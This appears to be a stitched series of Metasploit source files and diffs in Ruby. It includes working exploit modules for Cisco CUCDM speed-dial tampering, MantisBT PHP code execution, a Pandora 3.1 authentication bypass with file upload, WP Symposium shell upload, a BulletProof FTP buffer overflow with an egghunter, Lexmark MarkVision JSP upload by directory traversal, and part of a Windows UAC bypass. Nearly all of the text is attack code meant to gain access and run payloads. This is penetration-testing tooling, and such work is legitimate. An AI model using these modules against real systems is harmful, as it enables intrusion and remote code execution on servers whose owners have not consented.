'Name' => 'Viproy CUCDM IP Phone XML Services - Speed Dial Attack Tool',
'Description' => %q{
The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager
(CDM), before version 10, doesn't implement access control properly, which allows remote
attackers to modify user information. This module exploits the vulnerability to make
unauthorized speeddial manipulations.
},
'Author' => 'fozavci',
'References' =>
[
['CVE', '2014-3300'],
['BID', '68331']
],
'License' => MSF_LICENSE,
'Actions' =>
[
[ 'List', { 'Description' => 'Getting the speeddials for the MAC address' } ],
[ 'Modify', { 'Description' => 'Modifying a speeddial for the MAC address' } ],
[ 'Add', { 'Description' => 'Adding a speeddial for the MAC address' } ],
[ 'Delete', { 'Description' => 'Deleting a speeddial for the MAC address' } ]
],
'DefaultAction' => 'List'
))
register_options(
[
OptString.new('TARGETURI', [ true, 'Target URI for XML services', '/bvsmweb']),
OptString.new('MAC', [ true, 'MAC Address of target phone', '000000000000']),
OptString.new('NAME', [ false, 'Name for Speed Dial', 'viproy']),
OptString.new('POSITION', [ false, 'Position for Speed Dial', '1']),
OptString.new('TELNO', [ false, 'Phone number for Speed Dial', '007']),
], self.class)
end
def run
case action.name.upcase
when 'MODIFY'
modify
when 'DELETE'
delete
when 'ADD'
add
when 'LIST'
list
end
end
def send_rcv(uri, vars_get)
uri = normalize_uri(target_uri.to_s, uri.to_s)
res = send_request_cgi(
{
'uri' => uri,
'method' => 'GET',
'vars_get' => vars_get
})
if res && res.code == 200 && res.body && res.body.to_s =~ /Speed [D|d]ial/
return Exploit::CheckCode::Vulnerable, res
else
print_error("#{peer} - Target appears not vulnerable!")
return Exploit::CheckCode::Safe, res
end
end
def parse(res)
doc = REXML::Document.new(res.body)
names = []
phones = []
list = doc.root.get_elements('DirectoryEntry')
list.each do |lst|
xlist = lst.get_elements('Name')
xlist.each {|l| names << "#{l[0]}"}
xlist = lst.get_elements('Telephone')
xlist.each {|l| phones << "#{l[0]}" }
end
if names.size > 0
names.size.times do |i|
info = ''
info << "Position: #{names[i].split(":")[0]}, "
info << "Name: #{names[i].split(":")[1]}, "
info << "Telephone: #{phones[i]}"
print_good("#{peer} - #{info}")
end
else
print_status("#{peer} - No Speed Dial detected")
end
end
def list
mac = datastore['MAC']
print_status("#{peer} - Getting Speed Dials of the IP phone")
vars_get = {
'device' => "SEP#{mac}"
}
status, res = send_rcv('speeddials.cgi', vars_get)
parse(res) unless status == Exploit::CheckCode::Safe
end
def add
mac = datastore['MAC']
name = datastore['NAME']
position = datastore['POSITION']
telno = datastore['TELNO']
print_status("#{peer} - Adding Speed Dial to the IP phone")
vars_get = {
'name' => "#{name}",
'telno' => "#{telno}",
'device' => "SEP#{mac}",
'entry' => "#{position}",
'mac' => "#{mac}"
}
status, res = send_rcv('phonespeedialadd.cgi', vars_get)
if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Added/
print_good("#{peer} - Speed Dial #{position} is added successfully")
elsif res && res.body && res.body.to_s =~ /exist/
print_error("#{peer} - Speed Dial is exist, change the position or choose modify!")
else
print_error("#{peer} - Speed Dial couldn't add!")
end
end
def delete
mac = datastore['MAC']
position = datastore['POSITION']
print_status("#{peer} - Deleting Speed Dial of the IP phone")
vars_get = {
'entry' => "#{position}",
'device' => "SEP#{mac}"
}
status, res = send_rcv('phonespeeddialdelete.cgi', vars_get)
if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Deleted/
print_good("#{peer} - Speed Dial #{position} is deleted successfully")
else
print_error("#{peer} - Speed Dial is not found!")
end
end
def modify
mac = datastore['MAC']
name = datastore['NAME']
position = datastore['POSITION']
telno = datastore['TELNO']
print_status("#{peer} - Deleting Speed Dial of the IP phone")
vars_get = {
'entry' => "#{position}",
'device' => "SEP#{mac}"
}
status, res = send_rcv('phonespeeddialdelete.cgi', vars_get)
if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Deleted/
print_good("#{peer} - Speed Dial #{position} is deleted successfully")
print_status("#{peer} - Adding Speed Dial to the IP phone")
vars_get = {
'name' => "#{name}",
'telno' => "#{telno}",
'device' => "SEP#{mac}",
'entry' => "#{position}",
'mac' => "#{mac}"
}
status, res = send_rcv('phonespeedialadd.cgi', vars_get)
if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Added/
print_good("#{peer} - Speed Dial #{position} is added successfully")
elsif res && res.body =~ /exist/
print_error("#{peer} - Speed Dial is exist, change the position or choose modify!")
else
print_error("#{peer} - Speed Dial couldn't add!")
end
else
print_error("#{peer} - Speed Dial is not found!")
end
end
end

View File

@ -105,18 +105,28 @@ class Metasploit3 < Msf::Exploit::Remote
sum = addend_one + addend_two
java = java_sum([addend_one, addend_two])
vprint_status("#{peer} attempting to execute '#{java}' in Java")
res = execute(java)
result = parse_result(res)
if result.nil?
vprint_status("#{peer} no response to executed Java")
return false
else
vprint_status("#{peer} response to executed Java: #{result}")
result.to_i == sum
end
end
def parse_result(res)
unless res && res.code == 200 && res.body
unless res
vprint_error("#{peer} no response")
return nil
end
unless res.code == 200 && res.body
vprint_error("#{peer} responded with HTTP code #{res.code} (with#{res.body ? '' : 'out'} a body)")
return nil
end
@ -127,20 +137,16 @@ class Metasploit3 < Msf::Exploit::Remote
end
begin
result = json['hits']['hits'][0]['fields']['msf_result'][0]
result = json['hits']['hits'][0]['fields']['msf_result']
rescue
return nil
end
result
result.is_a?(::Array) ? result.first : result
end
def java_sum(summands)
source = <<-EOF
#{summands.join(" + ")}
EOF
source
summands.join(' + ')
end
def to_java_byte_array(str)

View File

@ -9,6 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
include REXML
def initialize(info = {})
super(update_info(info,
@ -17,16 +18,22 @@ class Metasploit3 < Msf::Exploit::Remote
This module exploits a post-auth vulnerability found in MantisBT versions 1.2.0a3 up to 1.2.17 when the Import/Export plugin is installed.
The vulnerable code exists on plugins/XmlImportExport/ImportXml.php, which receives user input through the "description" field and the "issuelink" attribute of an uploaded XML file and passes to preg_replace() function with the /e modifier.
This allows a remote authenticated attacker to execute arbitrary PHP code on the remote machine.
This version also suffers from another issue. The import page is not checking the correct user level
of the user, so it's possible to exploit this issue with any user including the anonymous one if enabled.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Egidio Romano', # discovery http://karmainsecurity.com
'Juan Escobar <eng.jescobar[at]gmail.com>', # module development @itsecurityco
'Christian Mehlmauer'
],
'References' =>
[
['CVE', '2014-7146']
['CVE', '2014-7146'],
['CVE', '2014-8598'],
['URL', 'https://www.mantisbt.org/bugs/view.php?id=17725'],
['URL', 'https://www.mantisbt.org/bugs/view.php?id=17780']
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
@ -42,49 +49,98 @@ class Metasploit3 < Msf::Exploit::Remote
], self.class)
end
def check
res = exec_php('phpinfo(); die();', true)
def get_mantis_version
xml = Document.new
xml.add_element(
"soapenv:Envelope",
{
'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance",
'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema",
'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/",
'xmlns:man' => "http://futureware.biz/mantisconnect"
})
xml.root.add_element("soapenv:Header")
xml.root.add_element("soapenv:Body")
body = xml.root.elements[2]
body.add_element("man:mc_version",
{ 'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/" }
)
if res && res.body =~ /This program makes use of the Zend/
return Exploit::CheckCode::Vulnerable
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'soap', 'mantisconnect.php'),
'ctype' => 'text/xml; charset=UTF-8',
'headers' => { 'SOAPAction' => 'http://www.mantisbt.org/bugs/api/soap/mantisconnect.php/mc_version'},
'data' => xml.to_s
})
if res && res.code == 200
match = res.body.match(/<ns1:mc_versionResponse.*><return xsi:type="xsd:string">(.+)<\/return><\/ns1:mc_versionResponse>/)
if match && match.length == 2
version = match[1]
print_status("Detected Mantis version #{version}")
return version
end
end
print_status("Can not detect Mantis version")
return nil
end
def check
version = get_mantis_version
return Exploit::CheckCode::Unknown if version.nil?
gem_version = Gem::Version.new(version)
gem_version_introduced = Gem::Version.new('1.2.0a3')
gem_version_fixed = Gem::Version.new('1.2.18')
if gem_version < gem_version_fixed && gem_version >= gem_version_introduced
return Msf::Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Unknown
return Msf::Exploit::CheckCode::Safe
end
end
def do_login()
print_status('Checking access to MantisBT...')
# check for anonymous login
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login_page.php'),
'vars_get' => {
'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import')
}
'uri' => normalize_uri(target_uri.path, 'login_anon.php')
})
# if the redirect contains a username (non empty), anonymous access is enabled
if res && res.redirect? && res.redirection && res.redirection.query =~ /username=[^&]+/
print_status('Anonymous access enabled, no need to log in')
session_cookie = res.get_cookies
else
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login_page.php'),
'vars_get' => {
'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import')
}
})
session_cookie = res.get_cookies
print_status('Logging in...')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login.php'),
'cookie' => session_cookie,
'vars_post' => {
'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import'),
'username' => datastore['username'],
'password' => datastore['password'],
'secure_session' => 'on'
}
})
fail_with(Failure::NoAccess, 'Login failed') unless res && res.code == 302
fail_with(Failure::NoAccess, 'Error accessing MantisBT') unless res && res.code == 200
fail_with(Failure::NoAccess, 'Wrong credentials') unless res && !res.redirection.to_s.include?('login_page.php')
session_cookie = res.get_cookies
session_cookie = "#{session_cookie} #{res.get_cookies}"
end
print_status('Logging in...')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login.php'),
'cookie' => session_cookie,
'vars_post' => {
'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import'),
'username' => datastore['username'],
'password' => datastore['password'],
'secure_session' => 'on'
}
})
fail_with(Failure::NoAccess, 'Login failed') unless res && res.code == 302
fail_with(Failure::NoAccess, 'Wrong credentials') unless res.redirection.to_s !~ /login_page.php/
"#{session_cookie} #{res.get_cookies}"
session_cookie
end
def upload_xml(payload_b64, rand_text, cookies, is_check)
@ -107,11 +163,16 @@ class Metasploit3 < Msf::Exploit::Remote
}
})
unless res && res.code == 200
unless res && res.code == 200 && res.body
print_error('Error trying to access XmlImportExport/import page...')
return false
end
if res.body.include?('Plugin is not registered with MantisBT')
print_error('XMLImportExport plugin is not installed')
return false
end
# Retrieving CSRF token
if res.body =~ /name="plugin_xml_import_action_token" value="(.*)"/
csrf_token = Regexp.last_match[1]
@ -190,22 +251,37 @@ class Metasploit3 < Msf::Exploit::Remote
data_post = data.to_s
print_status('Sending payload...')
return send_request_cgi({
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import_action'),
'cookie' => cookies,
'ctype' => "multipart/form-data; boundary=#{ data.bound }",
'data' => data_post
}, timeout)
if res && res.body && res.body.include?('APPLICATION ERROR')
print_error('Error on uploading XML')
return false
end
# request above will time out and return nil on success
return true
end
def exec_php(php_code, is_check = false)
print_status('Checking access to MantisBT...')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
fail_with(Failure::NoAccess, 'Error accessing MantisBT') unless res && (res.code == 200 || res.redirection)
# remove comments, line breaks and spaces of php_code
payload_clean = php_code.gsub(/(\s+)|(#.*)/, '')
# clean b64 payload
while Rex::Text.encode_base64(payload_clean) =~ /=/
while Rex::Text.encode_base64(payload_clean).include?('=')
payload_clean = "#{ payload_clean } "
end
payload_b64 = Rex::Text.encode_base64(payload_clean)
@ -216,6 +292,8 @@ class Metasploit3 < Msf::Exploit::Remote
res_payload = upload_xml(payload_b64, rand_text, cookies, is_check)
return unless res_payload
# When a meterpreter session is active, communication with the application is lost.
# Must login again in order to recover the communication. Thanks to @FireFart for figure out how to fix it.
cookies = do_login()
@ -283,6 +361,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
def exploit
get_mantis_version
unless exec_php(payload.encoded)
fail_with(Failure::Unknown, 'Exploit failed, aborting.')
end

View File

@ -0,0 +1,166 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "Pandora v3.1 Auth Bypass and Arbitrary File Upload Vulnerability",
'Description' => %q{
This module exploits an authentication bypass vulnerability in Pandora v3.1 as
disclosed by Juan Galiana Lara. It also integrates with the built-in pandora
upload which allows a user to upload arbitrary files to the '/images/' directory.
This module was created as an exercise in the Metasploit Mastery Class at Blackhat
that was facilitated by egypt and mubix.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Juan Galiana Lara', # Vulnerability discovery
'Raymond Nunez <rcnunez[at]upd.edu.ph>', # Metasploit module
'Elizabeth Loyola <ecloyola[at]upd.edu.ph>', # Metasploit module
'Fr330wn4g3 <Fr330wn4g3[at]gmail.com>', # Metasploit module
'_flood <freshbones[at]gmail.com>', # Metasploit module
'mubix <mubix[at]room362.com>', # Auth bypass and file upload
'egypt <egypt[at]metasploit.com>', # Auth bypass and file upload
],
'References' =>
[
['CVE', '2010-4279'],
['OSVDB', '69549'],
['BID', '45112']
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
['Automatic Targeting', { 'auto' => true }]
],
'Privileged' => false,
'DisclosureDate' => "Nov 30 2010",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The path to the web application', '/pandora_console/']),
], self.class)
end
def check
base = target_uri.path
# retrieve software version from login page
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(base, 'index.php')
})
if res and res.code == 200
#Tested on v3.1 Build PC100609 and PC100608
if res.body.include?("v3.1 Build PC10060")
return Exploit::CheckCode::Appears
elsif res.body.include?("Pandora")
return Exploit::CheckCode::Detected
end
end
return Exploit::CheckCode::Safe
rescue ::Rex::ConnectionError
vprint_error("#{peer} - Connection failed")
end
return Exploit::CheckCode::Unknown
end
# upload a payload using the pandora built-in file upload
def upload(base, file, cookies)
data = Rex::MIME::Message.new
data.add_part(file, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{@fname}\"")
data.add_part("Go", nil, nil, 'form-data; name="go"')
data.add_part("images", nil, nil, 'form-data; name="directory"')
data.add_part("1", nil, nil, 'form-data; name="upload_file"')
data_post = data.to_s
data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(base, 'index.php'),
'cookie' => cookies,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'vars_get' => {
'sec' => 'gsetup',
'sec2' => 'godmode/setup/file_manager',
},
'data' => data_post
})
register_files_for_cleanup(@fname)
return res
end
def exploit
base = target_uri.path
@fname = "#{rand_text_numeric(7)}.php"
cookies = ""
# bypass authentication and get session cookie
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(base, 'index.php'),
'vars_get' => {
'loginhash_data' => '21232f297a57a5a743894a0e4a801fc3',
'loginhash_user' => 'admin',
'loginhash' => '1',
},
})
# fix if logic
if res and res.code == 200
if res.body.include?("Logout")
cookies = res.get_cookies
print_status("Login Bypass Successful")
print_status("cookie monster = " + cookies)
else
fail_with(Exploit::Failure::NotVulnerable, "Login Bypass Failed")
end
end
# upload PHP payload to images/[fname]
print_status("#{peer} - Uploading PHP payload (#{payload.encoded.length} bytes)")
php = %Q|<?php #{payload.encoded} ?>|
begin
res = upload(base, php, cookies)
rescue ::Rex::ConnectionError
fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed")
end
if res and res.code == 200
print_good("#{peer} - File uploaded successfully")
else
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Uploading PHP payload failed")
end
# retrieve and execute PHP payload
print_status("#{peer} - Executing payload (images/#{@fname})")
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(base, 'images', "#{@fname}")
}, 1)
rescue ::Rex::ConnectionError
fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed")
end
end
end

View File

@ -234,7 +234,7 @@ class Metasploit3 < Msf::Exploit::Remote
'method' => datastore['HTTP_METHOD'],
}, 25)
if res && !res.get_cookies.empty?
match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+); /)
match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)
end
if match

View File

@ -122,7 +122,7 @@ EOS
end
print_error("Encountered unexpected #{res.code} response:")
print_error(res.inspect)
print_error(res.to_s)
return nil
end

View File

@ -0,0 +1,99 @@
##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::HTTP::Wordpress
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress WP Symposium 14.11 Shell Upload',
'Description' => %q{WP Symposium Plugin for WordPress contains a
flaw that allows a remote attacker to execute
arbitrary PHP code. This flaw exists because the
/wp-symposium/server/file_upload_form.php script
does not properly verify or sanitize
user-uploaded files. By uploading a .php file,
the remote system will place the file in a
user-accessible path. Making a direct request to
the uploaded file will allow the attacker to
execute the script with the privileges of the
web server.},
'License' => MSF_LICENSE,
'Author' =>
[
'Claudio Viviani', # Vulnerability disclosure
'Rob Carr <rob[at]rastating.com>' # Metasploit module
],
'References' =>
[
['OSVDB', '116046'],
['WPVDB', '7716']
],
'DisclosureDate' => 'Dec 11 2014',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['wp-symposium < 14.12', {}]],
'DefaultTarget' => 0
))
end
def check
check_plugin_version_from_readme('wp-symposium', '14.12')
end
def generate_mime_message(payload, payload_name, directory_name, symposium_url)
data = Rex::MIME::Message.new
data.add_part('1', nil, nil, 'form-data; name="uploader_uid"')
data.add_part("./#{directory_name}/", nil, nil, 'form-data; name="uploader_dir"')
data.add_part(symposium_url, nil, nil, 'form-data; name="uploader_url"')
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"files[]\"; filename=\"#{payload_name}\"")
data
end
def exploit
print_status("#{peer} - Preparing payload")
unique_name = Rex::Text.rand_text_alpha(10)
payload_name = "#{unique_name}.php"
symposium_url = normalize_uri(wordpress_url_plugins, 'wp-symposium', 'server', 'php')
payload_url = normalize_uri(symposium_url, unique_name, payload_name)
data = generate_mime_message(payload, payload_name, unique_name, symposium_url)
symposium_url = normalize_uri(symposium_url, 'index.php')
print_status("#{peer} - Uploading payload to #{payload_url}")
res = send_request_cgi(
'method' => 'POST',
'uri' => symposium_url,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
)
if res && res.code == 200 && res.body.length > 0 && !res.body.include?('error') && res.body != '0'
print_good("#{peer} - Uploaded the payload")
register_files_for_cleanup(payload_name)
print_status("#{peer} - Executing the payload...")
send_request_cgi(
{
'uri' => payload_url,
'method' => 'GET'
}, 5)
print_good("#{peer} - Executed payload")
else
if res.nil?
fail_with(Failure::Unreachable, "No response from the target")
else
vprint_error("#{peer} - HTTP Status: #{res.code}")
vprint_error("#{peer} - Server returned: #{res.body}")
fail_with(Failure::UnexpectedReply, "Failed to upload the payload")
end
end
end
end

View File

@ -113,7 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote
# Create the pdf
#pdf = make_pdf(script)
pdf = CreatePDF(script)
pdf = create_pdf(script)
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(pdf)

View File

@ -0,0 +1,91 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
include Msf::Exploit::Remote::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'BulletProof FTP Client BPS Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability in
BulletProof FTP Client 2010, caused by an overly long hostname.
By persuading the victim to open a specially-crafted .BPS file, a
remote attacker could execute arbitrary code on the system or cause
the application to crash. This module has been tested successfully on
Windows XP SP3.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Gabor Seljan'
],
'References' =>
[
[ 'EDB', '34162' ],
[ 'EDB', '34540' ],
[ 'EDB', '35449' ],
[ 'OSVDB', '109547' ],
[ 'CVE', '2014-2973' ],
],
'DefaultOptions' =>
{
'ExitFunction' => 'process'
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d\x1a",
'Space' => 2000
},
'Targets' =>
[
[ 'Windows XP SP3',
{
'Offset' => 89,
'Ret' => 0x74c86a98 # POP EDI # POP ESI # RET [oleacc.dll]
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Jul 24 2014',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.bps'])
],
self.class)
end
def exploit
eggoptions = {
:checksum => true,
:eggtag => 'w00t'
}
hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
sploit = "This is a BulletProof FTP Client Session-File and should not be modified directly.\r\n"
sploit << rand_text_alpha(target['Offset'])
sploit << generate_seh_record(target.ret)
sploit << hunter + "\r\n" # FTP Server HOST / IP
sploit << rand_text_numeric(5) + "\r\n" # Port number
sploit << egg + "\r\n" # Login name
sploit << rand_text_alpha(8) + "\r\n" # Login password
# Create the file
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(sploit)
end
end

View File

@ -116,7 +116,7 @@ class Metasploit3 < Msf::Exploit::Remote
if (res)
print_error("The server unexpectedly responded, this is not good.")
print_status(res.inspect)
print_status(res.to_s)
end
handler

View File

@ -237,7 +237,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_error("Eek! We weren't expecting a response, but we got one")
if datastore['DEBUG']
print_line()
print_error(res.inspect)
print_error(res.to_s)
end
end

View File

@ -131,7 +131,7 @@ class Metasploit3 < Msf::Exploit::Remote
if res and res.code != 502
print_error("Eek! We weren't expecting a response, but we got one")
print_status(res.inspect) if datastore['NNM_DEBUG']
print_status(res.to_s) if datastore['NNM_DEBUG']
end
handler

View File

@ -162,7 +162,7 @@ class Metasploit3 < Msf::Exploit::Remote
if res and res.code != 502
print_error("Eek! We weren't expecting a response, but we got one")
print_status(res.inspect) if datastore['NNM_DEBUG']
print_status(res.to_s) if datastore['NNM_DEBUG']
end
handler

View File

@ -159,7 +159,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_error("Eek! We weren't expecting a response, but we got one")
if datastore['DEBUG']
print_error('')
print_error(res.inspect)
print_error(res.to_s)
end
end

View File

@ -159,7 +159,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_error("Eek! We weren't expecting a response, but we got one")
if datastore['DEBUG']
print_error('')
print_error(res.inspect)
print_error(res.to_s)
end
end

View File

@ -0,0 +1,155 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Lexmark MarkVision Enterprise Arbitrary File Upload',
'Description' => %q{
This module exploits a code execution flaw in Lexmark MarkVision Enterprise before 2.1.
A directory traversal in the GfdFileUploadServlet servlet allows an unauthenticated
attacker to upload arbitrary files, including arbitrary JSP code. This module has been
tested successfully on Lexmark MarkVision Enterprise 2.0 with Windows 2003 SP2.
},
'Author' =>
[
'Andrea Micalizzi', # Vulnerability Discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-8741'],
['ZDI', '14-410'],
['URL', 'http://support.lexmark.com/index?page=content&id=TE666&locale=EN&userlocale=EN_US']
],
'Privileged' => true,
'Platform' => 'win',
'Arch' => ARCH_JAVA,
'Targets' =>
[
[ 'Lexmark Markvision Enterprise 2.0', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 09 2014'))
register_options(
[
Opt::RPORT(9788),
OptString.new('TARGETURI', [true, 'ROOT path', '/'])
], self.class)
end
def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, 'mve', 'help', 'en', 'inventory', 'am_about.html')
})
version = nil
if res && res.code == 200 && res.body && res.body.to_s =~ /MarkVision Enterprise ([\d\.]+)/
version = $1
else
return Exploit::CheckCode::Unknown
end
if Gem::Version.new(version) <= Gem::Version.new('2.0.0')
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def exploit
jsp_leak = jsp_path
jsp_name_leak = "#{rand_text_alphanumeric(4 + rand(32 - 4))}.jsp"
# By default files uploaded to C:\Program Files\Lexmark\Markvision Enterprise\apps\library\gfd-scheduled
# Default app folder on C:\Program Files\Lexmark\Markvision Enterprise\tomcat\webappps\ROOT
traversal_leak = "/..\\..\\..\\tomcat\\webapps\\ROOT\\#{jsp_name_leak}\x00.pdf"
print_status("#{peer} - Uploading info leak JSP #{jsp_name_leak}...")
if upload_file(traversal_leak, jsp_leak)
print_good("#{peer} - JSP successfully uploaded")
else
fail_with(Failure::Unknown, "#{peer} - JSP upload failed")
end
res = execute(jsp_name_leak)
if res && res.code == 200 && res.body.to_s !~ /null/ && res.body.to_s =~ /Path:(.*)/
upload_path = $1
print_good("#{peer} - Working directory found in #{upload_path}")
register_file_for_cleanup(::File.join(upload_path, 'webapps', 'ROOT', jsp_name_leak))
else
print_error("#{peer} - Couldn't retrieve the upload directory, manual cleanup will be required")
end
jsp_payload_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp"
jsp_payload = payload.encoded
traversal_payload = "/..\\..\\..\\tomcat\\webapps\\ROOT\\#{jsp_payload_name}\x00.pdf"
print_status("#{peer} - Uploading JSP payload #{jsp_payload_name}...")
if upload_file(traversal_payload, jsp_payload)
print_good("#{peer} - JSP successfully uploaded")
register_file_for_cleanup(::File.join(upload_path, 'webapps', 'ROOT', jsp_payload_name)) if upload_path
else
fail_with(Failure::Unknown, "#{peer} - JSP upload failed")
end
print_status("#{peer} - Executing payload...")
execute(jsp_payload_name, 3)
end
def upload_file(filename, contents)
good_signature = rand_text_alpha(4 + rand(4))
bad_signature = rand_text_alpha(4 + rand(4))
post_data = Rex::MIME::Message.new
post_data.add_part(good_signature, nil, nil, 'form-data; name="success"')
post_data.add_part(bad_signature, nil, nil, 'form-data; name="failure"')
post_data.add_part(contents, 'application/octet-stream', nil, "form-data; name=\"datafile\"; filename=\"#{filename}\"")
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, 'mve', 'upload', 'gfd'),
'method' => 'POST',
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})
if res && res.code == 200 && res.body && res.body.to_s.include?(good_signature)
return true
else
return false
end
end
def execute(jsp_name, time_out = 20)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, jsp_name),
'method' => 'GET'
}, time_out)
res
end
def jsp_path
jsp =<<-EOS
<%@ page language="Java" import="java.util.*"%>
<%
out.println("Path:" + System.getProperty("catalina.home"));
%>
EOS
jsp
end
end

View File

@ -10,9 +10,11 @@ class Metasploit3 < Msf::Exploit::Local
Rank = ExcellentRanking
include Exploit::EXE
include Exploit::FileDropper
include Post::File
include Post::Windows::Priv
include Post::Windows::ReflectiveDLLInjection
include Post::Windows::Runas
def initialize(info={})
super( update_info( info,
@ -32,7 +34,9 @@ class Metasploit3 < Msf::Exploit::Local
'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',
'mitnick',
'mubix', # Port to local exploit
'Ben Campbell' # In memory technique
'Ben Campbell', # In memory technique
'Lesage', # Win8+ updates
'OJ Reeves' # Win 8+ updates
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
@ -47,43 +51,78 @@ class Metasploit3 < Msf::Exploit::Local
'URL', 'http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html'
]
],
'DisclosureDate'=> "Dec 31 2010"
'DisclosureDate'=> 'Dec 31 2010'
))
end
def bypass_dll_path
# path to the bypassuac binary
path = ::File.join(Msf::Config.data_directory, "post")
def exploit
# Validate that we can actually do things before we bother
# doing any more work
validate_environment!
check_permissions!
# decide, x86 or x64
sysarch = sysinfo["Architecture"]
if sysarch =~ /x64/i
unless(target_arch.first =~ /64/i) and (payload_instance.arch.first =~ /64/i)
fail_with(
Exploit::Failure::BadConfig,
"x86 Target Selected for x64 System"
# get all required environment variables in one shot instead. This
# is a better approach because we don't constantly make calls through
# the session to get the variables.
env_vars = get_envs('TEMP', 'WINDIR')
case get_uac_level
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
fail_with(Exploit::Failure::NotVulnerable,
"UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
)
end
if sysarch =~ /WOW64/i
return ::File.join(path, "bypassuac-x86.dll")
else
return ::File.join(path, "bypassuac-x64.dll")
